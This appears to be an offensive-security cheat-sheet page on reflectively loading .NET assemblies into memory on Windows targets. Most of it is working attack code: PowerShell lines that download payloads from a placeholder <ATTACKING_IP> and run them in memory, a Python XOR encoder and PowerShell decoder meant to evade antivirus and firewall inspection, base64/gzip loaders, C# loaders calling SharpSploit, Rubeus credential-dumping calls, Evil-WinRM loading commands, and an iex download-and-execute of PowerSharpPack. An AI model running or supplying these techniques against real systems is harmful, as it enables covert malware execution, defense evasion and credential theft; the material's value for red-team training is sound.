We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.
Practice
Powershell
We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]
When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.
We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.
On the Windows Tartget, via powershell, load the .NET assembly:
#Load assembly from memory$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")[System.Reflection.Assembly]::Load($data)#Load assembly from disk[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))
To bypass AV signature and Firewalls analysis, we can XOR our native code before loading it as follow:
XOR the Binary using the following python code
xor_encrypt.py
defxor_encrypt(data,key): decrypted_data =bytearray() key_length =len(key)for i, byte inenumerate(data): decrypted_byte = byte ^ord(key[i % key_length]) decrypted_data.append(decrypted_byte)returnbytes(decrypted_data)defmain(): input_file_path ="evil.exe"# Replace this with the path to your input file output_file_path ="evil.enc.exe"# Replace this with the path to your output enc file xor_key ="MySuperSecretKey"# Replace "XOR_KEY" with your actual XOR keywithopen(input_file_path, "rb")as input_file: binary_data = input_file.read() decrypted_data =xor_encrypt(binary_data, xor_key)withopen(output_file_path, "wb")as output_file: output_file.write(decrypted_data)if__name__=="__main__":main()
$python3xor_encrypt.py
On the Windows Tartget, decrypt and load the .NET assembly
#Create WebClient object, set a custom User-Agent, configure default proxy & credentials if any$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
#Download the assembly$k="MySuperSecretKey";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("http://<ATTACKING_IP>/evil.enc.exe")))|%{$_-bxor$k[$i++%$k.length]}
#Load it[System.Reflection.Assembly]::Load($b) |Out-Null
Now, we can call methods from this assembly
#Call your function[Do.The]::thing()#Call your function with parameters$parameters=@("arg1","arg2")[Do.The]::thing($parameters) #An other example[Rubeus.Program]::Main("dump /user:administrator".Split())
To bypass AV signature and Firewalls analysis, we can Base64 encode + gzip-compress our .NET executable before loading it as follow:
Use the following powershell script to encode and compress the .NET assembly (change the binary path)
On the target, we can decode, decompress and load the assembly
#Download it$data= New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String((iwr "http://<ATTACKING_IP>/b64.txt" -UseBasicParsing).Content))
#Or#Get it from a string$data =New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String("<Base64 here>"))#Decompress$decompressed =New-Object System.IO.Compression.GZipStream($data, [System.IO.Compression.CompressionMode]::Decompress)$out=New-Object System.IO.MemoryStream;$decompressed.CopyTo($out)[byte[]]$byteOutArray = $out.ToArray()#Load it[System.Reflection.Assembly]::Load($byteOutArray)
Now, we can call methods from this assembly
#Call your function[Do.The]::thing()#Call your function with parameters$parameters=@("arg1","arg2")[Do.The]::thing($parameters)#An other example[Rubeus.Program]::Main("dump /user:administrator".Split())
We can build our own DLL in C# and reflectively load it with Powershell.
evil.cs
usingSystem;usingSystem.Diagnostics;//This function just spawn calc.exenamespaceDo{publicclassThe {publicstaticvoidthing() {Process p =newProcess();p.StartInfo.FileName="calc.exe";p.Start(); } }}
Compile the csharp code from our Linux host into a DLL
$mcs-t:libraryevil.cs
Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly
#Load assembly from memory$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/evil.dll")[System.Reflection.Assembly]::Load($data)#Load assembly from disk[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\evil.dll"))
Call methods
PS> [Do.The]::thing()
C#
We can implement Reflective Assembly Loading in C# and load the .NET assembly of a exe/dll.
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load() method
usingSystem;usingSystem.IO;usingSystem.Reflection;namespaceAssemblyLoader{classProgram {staticvoidMain(string[] args) {Byte[] fileBytes =File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");string[] fileArgs = { "arg1","arg2","argX" };ExecuteAssembly(fileBytes, fileArgs); }publicstaticvoidExecuteAssembly(Byte[] assemblyBytes,string[] param) { // Load the assemblyAssembly assembly =Assembly.Load(assemblyBytes); // Find the Entrypoint or "Main" methodMethodInfo method =assembly.EntryPoint; // Get the parametersobject[] parameters =new[] { param }; // Invoke the method with its parametersobject execute =method.Invoke(null, parameters); } }}
Compile it, and execute it
PS >AssemblyLoader.exeHi arg1!Hi arg2!Hi argX!
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.LoadFile() method
usingSystem;usingSystem.IO;usingSystem.Reflection;namespaceAssemblyLoader{classProgram {staticvoidMain(string[] args) {string filePath ="C:\\Tools\\JustACommandWithArgs.exe";string[] fileArgs = { "arg1","arg2","argX" };ExecuteAssemblyLoadFile(filePath, fileArgs); } // Load and execute assembly from path // - Accept only local file pathpublicstaticvoidExecuteAssemblyLoadFile(string assemblyPath,string[] param) {Console.WriteLine("[*] Using Assembly.LoadFile:");try { // Load the assemblyAssembly assembly =Assembly.LoadFile(assemblyPath); // Find the Entrypoint or "Main" methodMethodInfo method =assembly.EntryPoint; // Get the parametersobject[] parameters =new[] { param }; // Invoke the method with its parametersobject execute =method.Invoke(null, parameters); } catch (Exception e) {Console.WriteLine(e); } } }}
Compile it, and execute it
PS >AssemblyLoader.exeHi arg1!Hi arg2!Hi argX!
Here is a little example of calling SharpSploit assembly (dll) in C# using the Assembly.Load() method
The following code use the SharpSploit.Credentials.Tokens class, create an instance using the constructor, and the call its WhoAmI method
SharpSploitWhoami.cs
usingSystem;usingSystem.IO;usingSystem.Reflection;namespaceAssemblyLoader{classProgram {staticvoidMain(string[] args) {Byte[] fileBytes =File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");ExecuteAssembly(fileBytes); }publicstaticvoidExecuteAssembly(Byte[] assemblyBytes) { // Load the assemblyAssembly asm =Assembly.Load(assemblyBytes);Type t =asm.GetType("SharpSploit.Credentials.Tokens"); // Find the WhoAmi method - Note that definition must be the same as in the dllvar methodInfo =t.GetMethod("WhoAmI",newType[] { });if (methodInfo ==null) {thrownewException("No such method exists."); } //Define parameters for class constructorobject[] constructorParameters =newobject[1];constructorParameters[0] =true; // First parameter. //Create instance of Tokens classvar o =Activator.CreateInstance(t, constructorParameters); //Invoke methodvar r =methodInfo.Invoke(o,null);Console.WriteLine(r); //OR //Specify parameters for the method we will be invoking //object[] parameters = new object[2]; //parameters[0] = 124; // First parameter //parameters[1] = "Some text."; // Second parameter //Invoke method with parameters //var r = methodInfo.Invoke(o,parameters); } }}
Compile it, and execute it
PS>SharpSploitWhoami.exeDESKTOP1\Pwned
Here is a little example of calling SharpSploit assembly (dll) in C# using the Assembly.Load() method
The following code use the SharpSploit.Enumeration.Registry class to call its GetRegistryKey static method
SharpSploitRegQuery.cs
usingSystem;usingSystem.IO;usingSystem.Reflection;namespaceAssemblyLoader{classProgram {staticvoidMain(string[] args) {Byte[] fileBytes =File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");ExecuteAssembly(fileBytes); }publicstaticvoidExecuteAssembly(Byte[] assemblyBytes) { // Load the assemblyAssembly asm =Assembly.Load(assemblyBytes);Type t =asm.GetType("SharpSploit.Enumeration.Registry"); // Find the GetRegistryKey method (public static string GetRegistryKey(string RegHiveKey, string RegValue))var methodInfo =t.GetMethod("GetRegistryKey",newType[] { typeof(string) });if (methodInfo ==null) {thrownewException("No such method exists."); } //Specify parameters for the method we will be invokingobject[] parameters =newobject[1]; parameters[0] = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName"; // Second parameter
var r =methodInfo.Invoke("", parameters);Console.WriteLine(r); } }}
It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.
Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.
At a high level, it works as follows:
CLRCreateInstance is used to retrieve an interface ICLRMetaHost
ICLRMetaHost->GetRuntime is used to retrieve ICLRRuntimeInfo interface for a specified CLR version
ICLRRuntimeInfo->GetInterface is used to load the CLR into the current process and retrieve an interface ICLRRuntimeHost
ICLRRuntimeHost->Start is used to initialize the CLR into the current process
ICLRRuntimeHost->ExecuteInDefaultAppDomain is used to load the C# .NET assembly and call a particular method with an optionally provided argument
managed.cs is a C# program that is loaded by the unmanaged process.
unmanaged.cpp is a C++ program that loads a C# assembly (managed.exe). It invoks via ExecuteInDefaultAppDomain the spotlessMethod method from the C# assembly
PS >unmanaged.exeHi from CLRCLR executed successfully
Here is the managed.cs code:
managed.cs
usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;namespaceCLRHello1{classProgram {staticvoidMain(string[] args) {return; } // important: methods called by ExecuteInDefaultAppDomain need to stick to this signaturestaticintspotlessMethod(String pwzArgument) {Console.WriteLine("Hi from CLR");return1; } }}
Tools
If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.
Dll-Loader
We can use Dll-Loader to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.
#Load dll from the victime disk*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll#Load dll from SMB server*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll#Load dll from HTTP server*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll#Call methods*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
Invoke-Binary
We can use Invoke-Binary to load a local (on attacking host) .NET binary in memory.
#Load local .NET binary*Evil-WinRM* PS C:\>Invoke-Binary/opt/csharp/Rubeus.exe
PowerSharpPack provide many usefull offensive CSharp Projects wraped into Powershell for easy usage. It use the mentioned gzip+base64 encode methods to load .NET assembly in memory.
#Download PowerSharpPackiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')
#Choose your toolPowerSharpPack -seatbelt -Command "AMSIProviders"